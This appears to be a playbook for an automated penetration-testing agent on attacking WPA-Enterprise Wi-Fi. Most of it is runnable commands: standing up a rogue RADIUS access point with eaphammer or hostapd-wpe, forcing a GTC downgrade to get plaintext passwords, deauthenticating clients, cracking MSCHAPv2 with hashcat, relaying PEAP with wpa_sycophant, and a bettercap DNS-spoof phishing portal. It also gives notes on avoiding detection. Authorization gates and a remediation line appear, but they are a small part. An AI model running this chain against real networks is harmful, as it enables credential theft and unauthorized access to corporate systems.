WPA-Enterprise / 802.1X / EAP
MSCHAPv2 over PEAP/EAP-TTLS is the dominant enterprise Wi-Fi credential type in corporate environments. A captured challenge/response is directly equivalent to a NetNTLMv1/v2 hash. Crack it and you have a domain account; relay it and you may gain network access without cracking at all.
Prerequisites
- Monitor-mode + injection-capable adapter; second adapter optional (for deauth while rogue AP is running on first).
- Tools:
eaphammer,hostapd-wpe(hostapd with WPE patch),asleap,hashcat,john. - Rogue AP requires a valid TLS cert (self-signed or Let's Encrypt clone). eaphammer ships a cert generator.
- RoE gate: evil-twin AP requires
permitted_actions: evil_twinANDpermitted_actions: rogue_radiusinplan/roe.json. Checkiw reg getbefore activating any TX.
Step 1 — EAP method recon
Identify the EAP method(s) in use before standing up the rogue AP:
# Passive capture of EAP Identity + EAP method negotiation
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/eap_recon \
--output-format pcap <mon-iface>
# Extract EAP type from the capture
tshark -r /tmp/eap_recon-01.cap -Y "eap" \
-T fields -e wlan.sa -e eap.identity -e eap.type 2>/dev/null | head -20
# EAP types: 25=PEAP, 21=EAP-TTLS, 13=EAP-TLS, 43=EAP-FAST, 6=GTC
# Check client TLS validation posture (Android / Linux common misconfiguration)
# Look for EAP-TTLS or PEAP with no CA configured — the wpa_supplicant
# "phase2" credential accepts any server cert by default on many distros.
# Detection: if client completes TLS handshake with a self-signed cert
# on your rogue AP → validation not enforced → capture succeeds.
Step 2A — Rogue RADIUS with eaphammer (recommended)
# 1. Generate a rogue cert matching the target org domain
python3 eaphammer --cert-wizard
# 2. Stand up rogue Enterprise AP targeting PEAP-MSCHAPv2
# Replace <SSID> with the exact target SSID.
python3 eaphammer -i <iface> \
--channel <CHANNEL> \
--auth wpa-eap \
--essid "<SSID>" \
--creds \
--negotiate gtc-downgrade
# --negotiate gtc-downgrade forces EAP-GTC instead of MSCHAPv2 on
# clients that would otherwise validate the server cert. GTC sends
# the password in plaintext inside the TLS tunnel.
# 3. On MSCHAPv2 capture, eaphammer prints:
# [+] Captured EAP identity: DOMAIN\username
# [+] MSCHAPv2 challenge: aabbccdd...
# [+] MSCHAPv2 response: 00112233...
# Save to /workspace/evidence/wireless/eap_<bssid>.txt
Step 2B — hostapd-wpe (alternative, wider EAP-type support)
# 1. Configure /etc/hostapd-wpe/hostapd-wpe.conf:
# interface=<iface>
# ssid=<TARGET_SSID>
# channel=<CHANNEL>
# eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
# 2. Launch
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# 3. WPE logs to stdout:
# wpe: identity: DOMAIN\user
# wpe: challenge: 7a8b9c...
# wpe: response: 001122...
Step 3 — Optional: drive client association via deauth
# If clients are stubbornly staying on the legitimate AP, deauth
# them to trigger reassociation to the rogue AP.
# Requires permitted_actions: deauth_for_handshake_capture in RoE.
sudo aireplay-ng --deauth 1 -a <LEGIT_BSSID> -c <CLIENT_MAC> <mon-iface>
Step 4A — Offline crack (MSCHAPv2 → NetNTLM)
# asleap: fast MSCHAPv2 cracker against dictionary
asleap -C <challenge_hex> -R <response_hex> \
-W /usr/share/wordlists/rockyou.txt
# hashcat: convert to netntlmv2 format then crack with -m 5600
# Format: username::::response:challenge (NetNTLMv2 hashcat style)
echo "DOMAIN\\username::::${response_hex}:${challenge_hex}" \
> /tmp/ntlm.hash
hashcat -m 5600 /tmp/ntlm.hash /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# john the ripper alternative
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt \
/tmp/ntlm.hash
Step 4B — PEAP relay (network access without cracking)
When the password is complex and unlikely to crack in engagement timeframe, relay the MSCHAPv2 exchange to gain Wi-Fi network access:
# hostapd-mana (full MANA attack) + wpa_sycophant for PEAP relay
# wpa_sycophant relays the EAP exchange upstream to the legit RADIUS,
# completing auth and granting the attacker network access.
# 1. Start wpa_sycophant pointing at the legitimate AP
sudo python3 wpa_sycophant.py -c wpa_sycophant.conf \
--interface <second-iface>
# 2. Start rogue AP with berate_ap (hostapd-mana variant)
sudo berate_ap --mana --mana-credout /tmp/mana_creds.txt \
<iface> <upstream-iface> "<SSID>"
# Result: attacker AP completes EAP auth by proxying to the real
# RADIUS; attacker device gets a valid IP on the enterprise WLAN.
Step 5 — Hostile portal AD credential capture
# After MITM network access, redirect HTTP traffic to a phishing page
# that mimics the corporate SSO/OWA/VPN login.
# Use bettercap + dns.spoof + http.proxy for transparent MITM:
sudo bettercap -iface <client-bridge-iface> \
-eval "net.probe on; dns.spoof on; http.proxy on"
# Configure http.proxy to inject credential-capture page.
# Captured creds stored to /workspace/evidence/wireless/portal_creds.txt
Evidence
kg_add_node(
kind="credential",
label=f"EAP MSCHAPv2 for {identity} on {ssid}",
props={
"key": f"eap-mschapv2::{bssid}::{identity}",
"secret_type": "eap_mschapv2",
"ssid": ssid,
"bssid": bssid,
"eap_identity": identity, # e.g. "CORP\\jsmith"
"eap_realm": realm, # e.g. "corp.example.com"
"challenge": challenge_hex,
"response": response_hex,
"plaintext_password": password, # null if not cracked
"attack_path": "rogue-radius-eaphammer",
"source": "eaphammer",
},
)
kg_add_node(
kind="finding",
label="WPA-Enterprise: Server Certificate Not Validated",
props={
"key": f"eap-cert-validation::{bssid}",
"severity": "critical",
"affected_clients": [<mac_list>],
"remediation": (
"Configure wpa_supplicant with ca_cert pointing to the "
"corporate CA, or enforce 802.1X server cert validation "
"via MDM policy."
),
},
)
ZFP
- eaphammer / hostapd-wpe console output showing captured identity + challenge/response.
asleaporhashcat --showoutput proving password crack (if successful).- For relay path:
ip addroutput showing IP assignment on the enterprise WLAN.
RoE gate
HARD STOP: rogue RADIUS AP requires ALL of:
plan/roe.json:permitted_actions contains "evil_twin"
plan/roe.json:permitted_actions contains "rogue_radius"
regulatory domain TX authorized for the target channel
No public airspace without explicit operator approval in session
OPSEC notes
- EAP identity is sent in cleartext before the TLS tunnel; passive capture of usernames is possible without standing up a rogue AP (quieter for recon).
- eaphammer with
--negotiate gtc-downgradeis louder than passive capture — generates EAP Nak frames visible to WIDS. - PEAP relay requires sustained active TX; posture = loud.
- Hand cracked NetNTLM to
offensive-active-directoryskill for NTLM-relay / pass-the-hash chain.
References
- eaphammer: github.com/s0lst1c3/eaphammer
- hostapd-wpe: github.com/OpenSecurityResearch/hostapd-wpe
- wpa_sycophant: github.com/sensepost/wpa_sycophant
- asleap: github.com/joswr1ght/asleap
offensive-active-directoryskill — post-foothold NTLM relay once creds land.evil-twin-karmaskill — general rogue AP setup mechanics.deauth-pmfskill — targeted deauth for client coercion.